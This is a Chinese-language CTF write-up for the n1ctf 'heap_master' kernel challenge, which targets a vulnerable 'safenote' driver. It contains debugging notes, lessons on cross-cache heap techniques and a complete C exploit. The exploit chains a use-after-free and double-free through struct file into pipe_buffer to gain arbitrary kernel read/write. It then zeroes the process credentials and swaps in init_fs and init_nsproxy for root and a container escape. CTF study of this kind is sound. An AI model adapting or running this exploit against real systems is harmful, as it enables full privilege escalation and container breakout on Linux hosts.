n1ctf_heap_master


CHECK

run

保护全开

init

存在cg隔离:

version

动态调试

ffffffff82cc6aa0 d cpu_root_vulnerabilities_group
ffffffff83c91e20 d cpu_root_vulnerabilities_attrs
ffffffff84614ee0 d cpu_vuln_blacklist
ffffffff84615300 d cpu_vuln_whitelist
ffffffffc0202024 r _note_10 [vuln]
ffffffffc020203c r _note_9 [vuln]
ffffffffc0201000 t safenote_write [vuln]
ffffffffc0203c28 b note_kcache [vuln]
ffffffffc0201191 t safenote_close [vuln]
ffffffffc02011ca t safenote_exit [vuln]
ffffffffc0201150 t safenote_open [vuln]
ffffffffc02011af t safenote_open.cold [vuln]
ffffffffc0201180 t safenote_read [vuln]
ffffffffc0203050 d __UNIQUE_ID___addressable_cleanup_module352 [vuln]
ffffffffc0202120 r fops [vuln]
ffffffffc0203080 d __this_module [vuln]
ffffffffc0203404 b ioc_arg [vuln]
ffffffffc02011ca t cleanup_module [vuln]
ffffffffc0203c20 b already_open [vuln]
ffffffffc0203000 d safenote_device [vuln]
ffffffffc0203420 b note [vuln]
ffffffffc0203400 b backdoor_used [vuln]
ffffffffc0201020 t safenote_ioctl [vuln]
add_note:
b *(0xffffffffc020109a)

free_note:
b *(0xffffffffc020110c)

uaf:
b *(0xffffffffc02010de)

gdb -ex "target remote localhost:1234" -ex "b *(0xffffffffc02010de)" -ex "c"

write之后:

全read出来之后:

splice一个字节之后:

读完了的pipe是没有ops的:

读完再写是会恢复ops的,同时page可能被替换,那么就有两个思路了:

1.

感悟

  1. cross_cache的时候,在buddy_system中的单个物理页是最容易被回收的,再穿回另一个cache是最难的,因为这个cache中可能已经有了好多个slab了,需要提前清空;
  2. cross_cache到某个kmem_cache中时,要sleep;
  3. cross_cache要注意两个cache对应的slab应该是一样大的;
  4. msg_msg禁用:https://blog.csdn.net/panhewu9919/article/details/127733027
  5. pipe_buffer->ops莫名其妙消失:close的时候会导致ops被清空;
  6. pipe如果写满了,又读完了,ops也会被清空,下一次再写的时候page会被替换;
  7. dirty-pipe:#define PIPE_BUF_FLAG_CAN_MERGE 0x10
  8. kfree不检查地址对齐,导致可以错位释放;
  9. 在init脚本中直接加命令看地址;

evil-pipe

evil-pipe

先将safenote的double-free迁移到struct file,两个file共用同一片内存,然后利用stat判断idx,之后构造uaf-file,然后再次cross cache到pipe_buffer,构造evil-pipe;

然后构造自写管道,扫射内存,锁定内核代码段的物理地址,同时也能扫射出线性映射区的地址;

USMA

USMA

扫射内存寻找PCB;

pipe ops

ffffffff81af4a01: 48 81 c4 30 03 00 00 add $0x330,%rsp
ffffffff81af4a08: 44 89 e8 mov %r13d,%eax
ffffffff81af4a0b: 5b pop %rbx
ffffffff81af4a0c: 5d pop %rbp
ffffffff81af4a0d: 41 5c pop %r12
ffffffff81af4a0f: 41 5d pop %r13
ffffffff81af4a11: e9 6a 05 b1 00 jmp 0xffffffff82604f80

ffffffff82604f80: c3 ret

用write劫持控制流就能够,close就不够;这两个都是syscall直接触发的,如果是用write函数,则栈更靠下;

这个版本的内核中系统调用栈和栈底的偏移不固定了;

攻击思路

利用uaf cross cache到file,然后构造double-free的file,然后穿到pipe_buffer,造成uaf-file控制pipe_buffer,然后dup改一个page,走evil-pipe之后提升到任意地址读写的能力。

然后内存搜索,获取内核映射的地址,并读init_task,然后找到current task,并找到其cred;

然后要用aaw完成一下几个步骤:

  1. 修改current 的 cred前0x28个字节为0;
  2. 设置current task的fs为init_fs;
  3. 设置current 的nsproxy为init_poroxy;

攻击成功

FINAL-EXP

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <sched.h>
#include <sys/types.h>
#include <linux/keyctl.h>

size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
asm volatile (
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

void get_root_shell(){
printf("now pid == %p\n", getpid());
system("/bin/sh");
}

//CPU绑核
void bindCore(int core)
{
cpu_set_t cpu_set;

CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

int dev_fd, uaf_fd;
void inc_ref(int times){
if(!fork()){
for(int i = 0; i < times; i++) {
if(dup(uaf_fd) < 0){
perror("dup");
break;
}
}
sleep(1000);

}
}

#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <unistd.h>

#define DMA_HEAP_IOCTL_ALLOC 0xc0184800
typedef unsigned long long u64;
typedef unsigned int u32;
struct dma_heap_allocation_data {
u64 len;
u32 fd;
u32 fd_flags;
u64 heap_flags;
};

int dmafd;
size_t secondary;

int dev_fd;
struct Mess{
int idx;
};
struct Mess mess;

void add(int idx){
mess.idx = idx;
ioctl(dev_fd, 0x1337, &mess);
}
void free_note(int idx){
mess.idx = idx;
ioctl(dev_fd, 0x1338, &mess);
}
void uaf(int idx){
mess.idx = idx;
ioctl(dev_fd, 0x1339, &mess);
}



size_t ker_offset;
size_t data[0x1000];

#include "key.h"
#include "pg_vec.h"
#include <sys/stat.h>

size_t ker_offset;
int idx5, idx6, idx7, idx8;
size_t page, ops;




size_t base_page;
size_t page_offset_base;

int scan_mem(int pipe2[500][2], size_t offset){
base_page = page & 0xfffffffff0000000;
size_t goal_page = base_page + 0x1000 * 0x40;
goal_page += 0x2a77 * 0x40;
goal_page += 0x100 * 0x40 * offset;
int k = 0;
size_t pay[0x1000];
memset(pay, 0, sizeof(pay));
pay[k++] = page;
pay[k++] = 0x24000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 24) k++;
pay[k++] = goal_page;
pay[k++] = 0x100000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 48) k++;
write(pipe2[idx8][1], pay, 48*8);


k = 0;
memset(pay, 0, sizeof(pay));
pay[k++] = page;
pay[k++] = 0xc000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
write(pipe2[idx6][1], pay, 0x28);

char s[0x1000];
read(pipe2[idx7][0], s, 0xf00);
printf("round %d\n", offset);
if(!memcmp(s+0x7a0, "/sbin/modprobe", 14)) {
puts(s+0x7a0);
memcpy(data, s, 0xf00);
for(int i = 0; i < 0xf0*2; i++){
if(data[i] >= 0xffff888000000000 && data[i] < 0xffffffff80000000){
printf("data -> %p\n", (void *)data[i]);
page_offset_base = data[i] & 0xffffffff80000000;
printf("page_offset_base == %p\n", (void *)page_offset_base);
break;
}

}
}
return memcmp(s+0x7a0, "/sbin/modprobe", 14);
}

size_t get_page(size_t page1, size_t addr1, size_t addr2){
size_t p1 = addr1 - (addr1 & 0xfff);
size_t p2 = addr2 - (addr2 & 0xfff);
//printf("p1 == %p, p2 == %p\n", (void *)p1, (void *)p2);
size_t page2 = page1 + (long long int)(p2 - p1) / 0x1000 * 0x40;
return page2;

}


size_t pipe_write;
size_t fake_ops;
void aaw(int pipe2[500][2], size_t goal_page, size_t offset, int len, void *con){
int k = 0;
size_t pay[0x1000];
memset(pay, 0, sizeof(pay));
pay[k++] = page; // pipe6
pay[k++] = 0x24000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 24) k++;
pay[k++] = goal_page; // pipe7
pay[k++] = offset * 0x100000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 48) pay[k++] = 0;//pipe_write;
write(pipe2[idx8][1], pay, 48*8);

//ffffffff81423170 T alloc_pipe_info b *(0xffffffff81423170)

k = 0;
memset(pay, 0, sizeof(pay));
pay[k++] = page;
pay[k++] = 0xc000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
write(pipe2[idx6][1], pay, 0x28);
puts("write6");
getchar();

int l = write(pipe2[idx7][1], con, len);
printf("aaw len == %d\n", l);
if(l < 0){
perror("aaw");
}

}
void call_aaw(int pipe2[500][2], size_t addr, size_t value){
size_t offset = addr & 0xfff;
addr = addr - offset;
size_t goal_page = (addr - page_offset_base) / 0x1000 * 0x40 + base_page;
aaw(pipe2, goal_page, offset, 8, &value);
}

size_t mm_offset;
size_t mm;

size_t scan_mem1(int pipe2[500][2], size_t offset){
base_page = page & 0xfffffffff0000000;
size_t goal_page = base_page;
goal_page += 0x40 * offset;
int k = 0;
size_t pay[0x1000];
memset(pay, 0, sizeof(pay));
pay[k++] = page;
pay[k++] = 0x24000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 24) k++;
pay[k++] = goal_page;
pay[k++] = 0x100000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 48) k++;
write(pipe2[idx8][1], pay, 48*8);

k = 0;
memset(pay, 0, sizeof(pay));
pay[k++] = page;
pay[k++] = 0xc000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
write(pipe2[idx6][1], pay, 0x28);

char *s = malloc(0x2000);
s = s - ((size_t)s&0x1000) + 0x1000;
read(pipe2[idx7][0], s, 0xf00);
void *ptr = memmem(s, 0xf00, "QianYiming", 10);

if(ptr){
printf("ptr == %p\n", ptr);
size_t offset = (char *)ptr-s;
printf("offset == 0x%x\n", (char *)ptr-s);
memcpy(&mm, ptr-0x288, 8);
if(offset & 7 != 8) return 0LL;
printf("mm == %p\n", (void *)mm);
return goal_page;
}
return 0;

}

size_t aar(int pipe2[500][2], size_t addr){
size_t page_offset = addr - (addr & 0xfff) - page_offset_base;
size_t offset = addr & 0xfff;
size_t goal_page = base_page + page_offset / 0x1000 * 0x40;
int k = 0;
size_t pay[0x1000];
memset(pay, 0, sizeof(pay));
pay[k++] = page; // pipe6
pay[k++] = 0x24000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 24) k++;
pay[k++] = goal_page; // pipe7
pay[k++] = offset + 0xf00000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
while(k < 48) pay[k++] = 0;
write(pipe2[idx8][1], pay, 48*8);


k = 0;
memset(pay, 0, sizeof(pay));
pay[k++] = page;
pay[k++] = 0xc000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;
write(pipe2[idx6][1], pay, 0x28);


size_t res = -1;
read(pipe2[idx7][0], &res, 8);
return res;

}

int pipe_fd;
size_t add_rsp_0x350_ret;
size_t add_rsp_0x220_ret;


void get_flag(){
char buf[0x100];
int fd = open("/flag", O_RDONLY);
if (fd < 0) {
puts("[-] Lose...");
} else {
puts("[+] Win!");
read(fd, buf, 0x100);
write(1, buf, 0x100);
puts("[+] Done");
}
while(1) ;
}


int main(){

save_status();
bindCore(0);

#include <sys/prctl.h>
if(prctl(PR_SET_NAME, "QianYiming", NULL, NULL, NULL) < 0){
perror("prctl set name");
}

dev_fd = open("/dev/safenote", 2);
printf("dev_fd == %d\n", dev_fd);
int fd = open("/bin/busybox", 0);
size_t data[0x1000];

#include <sys/mman.h>
#define TOTOAL_PIPES 350
int pipe1[TOTOAL_PIPES][2];
for(int i = 0; i < TOTOAL_PIPES ; i++){
if(pipe(pipe1[i]) < 0){
perror("create pipe");
break;
}
memset(data, 'a', sizeof(data));
memcpy(data, &i, 4);
write(pipe1[i][1], data, 0x1000);
write(pipe1[i][1], data, 0x1000);
write(pipe1[i][1], data, 0x1000);
write(pipe1[i][1], data, 0x60);
}

for(int i = 0; i < 0x100; i++) add(i);
for(int i = 0; i < 0x100; i++){
if(i == 0x80){
uaf(i);
}
else{
free_note(i);
}
}
puts("free done");
sleep(2); //这个sleep非常重要,能够提高cross_cache到pipe_buffer的命中率

#define FILE_CNT 0x100

char name[0x100];
int file1[FILE_CNT];
int file2[FILE_CNT];
char con[0x1000];
struct stat file_stat;

for(int i = 0; i < FILE_CNT; i++){
sprintf(name, "/tmp/%d\x00", i);
file1[i] = open(name, O_CREAT | O_RDWR, 0666);
if(file1[i] < 0){
perror("open file1");
puts(name);
break;
}
}

puts("free again");
free_note(0x80);
//sleep(3);


for(int i = 0; i < FILE_CNT; i++){
sprintf(name, "/tmp/%d\x00", i+FILE_CNT);
file2[i] = open(name, O_CREAT | O_RDWR , 0666);
if(file2[i] < 0){
perror("open file2");
puts(name);
break;
}
}

for(int i = 0; i < FILE_CNT; i++){
write(file1[i], "AAAA", 4);
write(file2[i], "AAAA", 4);
}

int victim_idx = -1;
for(int i = 0; i < FILE_CNT; i++){
fstat(file2[i], &file_stat);
if(file_stat.st_size == 8){
victim_idx = i;
}
}
printf("victim_idx == %d\n", victim_idx);
getchar();

for(int i = 0; i < FILE_CNT; i++){
close(file1[i]);
if(i != victim_idx){
close(file2[i]);
}
}
puts("close done");
sleep(2);

for(int i = 0; i < TOTOAL_PIPES; i++){
if(fcntl(pipe1[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
puts("set pipe size error!");
exit(-1);
}
}

puts("spray pipe done");

for(int i = 0; i < 0x100; i++){
dup(file2[victim_idx]);
}
puts("dup done");

int idx1 = -1;
int idx2 = -1;

for(int i = 0; i < TOTOAL_PIPES; i++){
int num = -1;
read(pipe1[i][0], data, 0x1000);
read(pipe1[i][0], data, 0x1000);
read(pipe1[i][0], data, 0x1000);
read(pipe1[i][0], &num, 4);
read(pipe1[i][0], data, 4);
//printf("idx == %d, num == %d\n", i, num);
if(i != num){
idx1 = i;
idx2 = num;
break;
}
}
printf("id == %d\n", getpid());
printf("idx1 == %d, idx2 == %d\n", idx1, idx2);
getchar();

#define NEW_PIPE_NUMS 500
int pipe2[NEW_PIPE_NUMS][2];
for(int i = 0; i < NEW_PIPE_NUMS; i++){
if(pipe(pipe2[i]) < 0){
perror("create pipe2");
break;
}
write(pipe2[i][1], &i, 4);
int tmp_num = 0;
write(pipe2[i][1], &tmp_num, 4);
tmp_num = 1;
write(pipe2[i][1], &tmp_num, 4);
tmp_num = 2;
write(pipe2[i][1], &tmp_num, 4);
tmp_num = 3;
write(pipe2[i][1], &tmp_num, 4);
}
puts("create pipe2 done");

close(pipe1[idx1][0]);
close(pipe1[idx1][1]);

puts("close pipe1 done, sleep for several seconds");
sleep(4);

for(int i = 0; i < NEW_PIPE_NUMS; i++){
if(fcntl(pipe2[i][1], F_SETPIPE_SZ, 0x1000 * 2 ) < 0){
perror("set pipe size error!");
printf("bad pipe == %d\n", pipe2[i][1]);
break;
}
}

printf("end fd == %d\n", pipe2[NEW_PIPE_NUMS-1][1]);

memset(data, -1, sizeof(data));
for(int i = 0; i < 3; i++) read(pipe1[idx2][0], data, 0x1000);
read(pipe1[idx2][0], data, 0x28);
for(int i = 0; i < 5; i++){
printf("leak : %p\n", (void *)data[i]);
}
page = data[0];
ops = data[2];
ker_offset = ops - 0xffffffff82c208c0;
printf("page == %p\n", (void *)page);
printf("ops == %p\n", (void *)ops);
printf("ker_offset == %p\n", (void *)ker_offset);
getchar();

size_t pay[0x1000];
int k = 0;
pay[k++] = page;
pay[k++] = 0x800000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;

write(pipe1[idx2][1], pay, 0x28);

int idx3 = -1;
int idx4 = -1;
for(int i = 0; i < NEW_PIPE_NUMS; i++){
int num = -1;
read(pipe2[i][0], &num, 4);
if(num != i){
printf("num == %d, i == %d\n", num, i);
idx3 = num;
idx4 = i;
break;
}

}
printf("idx3 == %d, idx4 == %d\n", idx3, idx4);

close(pipe2[idx3][0]);
close(pipe2[idx3][1]);

for(int i = 0; i < NEW_PIPE_NUMS; i++){
if(i == idx3 || i == idx4) continue;
if(fcntl(pipe2[i][1], F_SETPIPE_SZ, 0x1000 * 4 ) < 0){
perror("set pipe size error!");
printf("bad pipe == %d\n", pipe2[i][1]);
break;
}
}


k = 0;
pay[k++] = 0xff800000008;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0x1234;

for(int i = 0; i < 24-5; i++) k++;
pay[k++] = page;
pay[k++] = 0x800000004;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;

for(int i = 0; i < 24-5; i++) k++;
pay[k++] = page;
pay[k++] = 0x800000018;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;

for(int i = 0; i < 24-5; i++) k++;
pay[k++] = page;
pay[k++] = 0x800000020;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;

write(pipe2[idx4][1], pay, 0x240-8+24*8);


idx5 = -1;
idx6 = -1;
idx7 = -1;
idx8 = -1;
for(int i = 0; i < NEW_PIPE_NUMS; i++){
if(i == idx3 || i == idx4) continue;
int num = -1;
read(pipe2[i][0], &num, 4);
if(num == 1){
idx5 = i;
//break;
}
if(num < 0){
printf("i == %d, num == %d\n", i, num);
idx6 = i;
}
if(num == 0x10){
printf("i == %d, num == %d\n", i, num);
idx7 = i;
}
if(num == 0x1234){
printf("i == %d, num == %d\n", i, num);
idx8 = i;
}


}
printf("idx5 == %d, idx6 == %d, idx7 == %d, idx8 == %d\n", idx5, idx6, idx7, idx8); //自写管道
getchar();

for(k = 0; k < 19; k++) pay[k] = 0LL; //idx5 就不要管了

pay[k++] = page; //idx6 指向 idx8
pay[k++] = 0x24000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;


write(pipe2[idx8][1], pay, 24*8);


k = 0;
pay[k++] = page;
pay[k++] = 0xc000000000;
pay[k++] = ops;
pay[k++] = 0x10;
pay[k++] = 0;

write(pipe2[idx6][1], pay, 0x28);

//=============================================扫描内存===============================================================
size_t koff = -1;

for(int i = 0; i < 0x1000; i++){
if(scan_mem(pipe2, i) == 0){
koff = i;
break;
}
}
base_page = page & 0xfffffffff0000000;
size_t modprobe_page = base_page + 0x1000 * 0x40;
modprobe_page += 0x2a77 * 0x40;
modprobe_page += 0x100 * 0x40 * koff;

printf("modprobe_page == %p\n", (void *)modprobe_page);

size_t modprobe = 0xffffffff83a777a0;
size_t kfree = 0xffffffff81377670;
size_t pipe_release = 0xffffffff81423430;
size_t setresuid = 0xffffffff811af550;

size_t pipe_release_page = get_page(modprobe_page, modprobe, pipe_release);
printf("pipe_release_page == %p\n", (void *)pipe_release_page);

size_t kfree_page = get_page(modprobe_page, modprobe, kfree);
printf("kfree_page == %p\n", (void *)kfree_page);

size_t setresuid_page = get_page(modprobe_page, modprobe, setresuid);
printf("setresuid_page == %p\n", (void *)setresuid_page);

printf("page_offset_base == %p\n", page_offset_base);

size_t init_cred = ker_offset + 0xffffffff83a76b00;
size_t init_task = ker_offset + 0xffffffff83a15a40;
printf("aar : %p\n", (void *)aar(pipe2, page_offset_base));

size_t init_task_page = get_page(modprobe_page, modprobe, init_task);
printf("init_task_page == %p\n", (void *)init_task_page);

/*
tasks 0x510
cred 0x7d0
comm 0x7e8
fs 0x828
nsproxy 0x838
*/

size_t init_task_dir_addr = (init_task_page - base_page) / 0x40 * 0x1000 + page_offset_base + 0xa40;
printf("init_task_dir_addr == %p\n", (void *)init_task_dir_addr);

size_t task = aar(pipe2, init_task_dir_addr+0x510);
printf("task == %p\n", (void *)task);

size_t my_task = -1;
while(task){
task = aar(pipe2, task);
//printf("task == %p\n", (void *)task);
char name[0x20];
memset(name, 0, sizeof(name));
size_t vv;
vv = aar(pipe2, task-0x510+0x7e8);
memcpy(name, &vv, 8);
vv = aar(pipe2, task-0x510+0x7e8+8);
memcpy(name+8, &vv, 8);
//puts(name);
if(!memcmp(name, "QianYiming", 10)){
my_task = task - 0x510;
break;
}

}
printf("my_task == %p\n", (void *)my_task);
size_t my_cred = aar(pipe2, my_task+0x7d0);
printf("my_cred == %p\n", (void *)my_cred);
getchar();

pipe_write = ker_offset + 0xffffffff814223a0;
size_t my_pipe = (page - base_page) / 0x40 * 0x1000 + page_offset_base;
printf("my_pipe == %p\n", (void *)my_pipe);

fake_ops = my_pipe + 53*8;

for(int i = 0; i <= 0x28; i += 8){
call_aaw(pipe2, my_cred + i, 0LL);
}

size_t init_fs = ker_offset + 0xffffffff83bb5320;
size_t init_nsproxy = ker_offset + 0xffffffff83a768c0;

call_aaw(pipe2, my_task+0x828, init_fs);
call_aaw(pipe2, my_task+0x838, init_nsproxy);

system("id");
printf("id == %d\n", getpid());

get_flag();

puts("end");
getchar();


}




文章作者: q1ming
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 q1ming !
  目录